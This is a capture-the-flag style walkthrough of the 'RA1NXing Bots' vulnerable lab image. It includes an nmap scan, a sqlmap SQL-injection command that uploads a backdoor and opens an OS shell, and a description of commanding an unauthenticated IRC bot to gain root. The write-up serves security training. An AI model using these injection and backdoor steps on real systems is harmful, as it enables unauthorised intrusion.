RA1NXing Bots is a vulnerable image intended to jump start security researches’ interest in botnets and their exploitability. This vulnerable image was brought to us by Brian Wallace (@botnet_hunter), a botnet security researcher at Cylance and good friend (and Ballast Security co-founder). This was a pretty interesting vulnerable image, and good exposure into the sometimes seedy and malevolent world of botnets.
# Nmap 6.25 scan initiated Mon Jul 8 02:08:29 2013 as: nmap -sS -A -T5 -p- -oN bot.scan 192.168.1.198
Nmap scan report for 192.168.1.198
Host is up (0.00044s latency).
Not shown: 65531 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 5.5p1 Debian 6+squeeze3 (protocol 2.0)
| ssh-hostkey: 1024 a2:24:9c:39:48:84:7f:da:1f:51:b9:0a:1b:45:df:aa (DSA)
|_2048 35:f5:0e:fa:c3:6b:98:8a:25:e1:f8:bf:de:38:82:03 (RSA)
80/tcp open http Apache httpd 2.2.16 ((Debian))
|_http-methods: No Allow or Public header in OPTIONS response (status code 302)
| http-title: Site doesn't have a title (text/html).
|_Requested resource was /index.php?page=main
111/tcp open rpcbind 2-4 (RPC #100000)
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
|_ 100000 2,3,4 111/udp rpcbind
6667/tcp open irc IRCnet ircd
| irc-info: Server: irc.localhost
| Version: 2.11.2p2. irc.localhost 000A
| Lservers/Lusers: 0/3
| Uptime: 0 days, 0:10:37
| Source host: 192.168.1.147
|_Source ident: NONE or BLOCKED
MAC Address: 08:00:27:4B:51:94 (Cadmus Computer Systems)
Aggressive OS guesses: Linux 2.6.31 (98%), Linux 2.6.32 - 2.6.35 (97%), Linux 2.6.32 - 3.6 (96%), Netgear DG834G WAP or Western Digital WD TV media player (96%), Linux 2.6.17 - 2.6.36 (96%), Linux 2.6.23 - 2.6.38 (95%), Linux 2.6.22 (95%), Linux 2.6.18 - 2.6.21 (95%), AXIS 210A or 211 Network Camera (Linux 2.6) (95%), Linux 2.6.18 - 2.6.32 (94%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 1 hop
Service Info: Host: irc.localhost; OS: Linux; CPE: cpe:/o:linux:linux_kernel
HOP RTT ADDRESS
1 0.44 ms 192.168.1.198
OS and Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
# Nmap done at Mon Jul 8 02:08:52 2013 -- 1 IP address (1 host up) scanned in 23.34 seconds
The two services of interest are the HTTP server and IRC. The web server comprises a few links with some incredibly basic pages, one of which is an obvious front door at first glance:
Grabbing the request and handing it off to sqlmap, we quickly have a shell:
root@jali:~/lib_mysqludf_sys-master# sqlmap -u http://192.168.1.198/index.php?page=login --data 'user=blah&password=blah' -p user --os-shell
[20:33:03] [INFO] the file stager has been successfully uploaded on '/var/www' - http://192.168.1.198:80/tmpufqvr.php
[20:33:03] [INFO] the backdoor has been successfully uploaded on '/var/www' - http://192.168.1.198:80/tmpbqsug.php
[20:33:03] [INFO] calling OS shell. To quit type 'x' or 'q' and press ENTER
do you want to retrieve the command standard output? [Y/n/a] a
command standard output: 'www-data'
Dumping out the kernel and listening services doesn’t give us anything new. A local mysql database was set up, and the root password was found in /var/www/main.php, but we can’t UDF into it due to file restrictions. Inside the web root is source for the web site, as well as a /var/www/botsources, which includes the source code for the Ra1nX bot. This source will come in handy as we explore the system more thoroughly.
At the head of the bot we’ve got a bunch of parameters defined; including its connection location and port:
If we attempt to connect to the IRC server and join the channel, we get Cannot join to channel #somechannel (Bad channel key), which is the result of an incorrect password. The source code specifies a password, but it doesn’t work. Could the bot be changed?
Looks like some PHP script is being run as root; likely our culprit. The issue now is communicating with the bot and somehow exploiting it to give us a root shell. Time to hit that source we grabbed.
As given above, we have a list of nicknames, a channel, server, and password. The password doesn’t work, so we need to figure out another way. The bot connects to the server using the connection() function, and selects a random nickname/server/port:
Once connected to a server, it begins listening for commands. Text is read off the socket and sent to the parser function, which then, obviously, parses and acts upon the input. The interesting bit to us is the following snippet:
Essentially, once parsed, a valid command to the bot appears bot nick | @command | arguments
It’s also of interest that none of this code verifies the authenticity of the request, nor that it’s even coming from a channel. All we need to do, then, is log into the IRC server and iterate through all available nicknames until we find the connected bot.
Game over. Fun image, and looking forward to future botnet scenarios.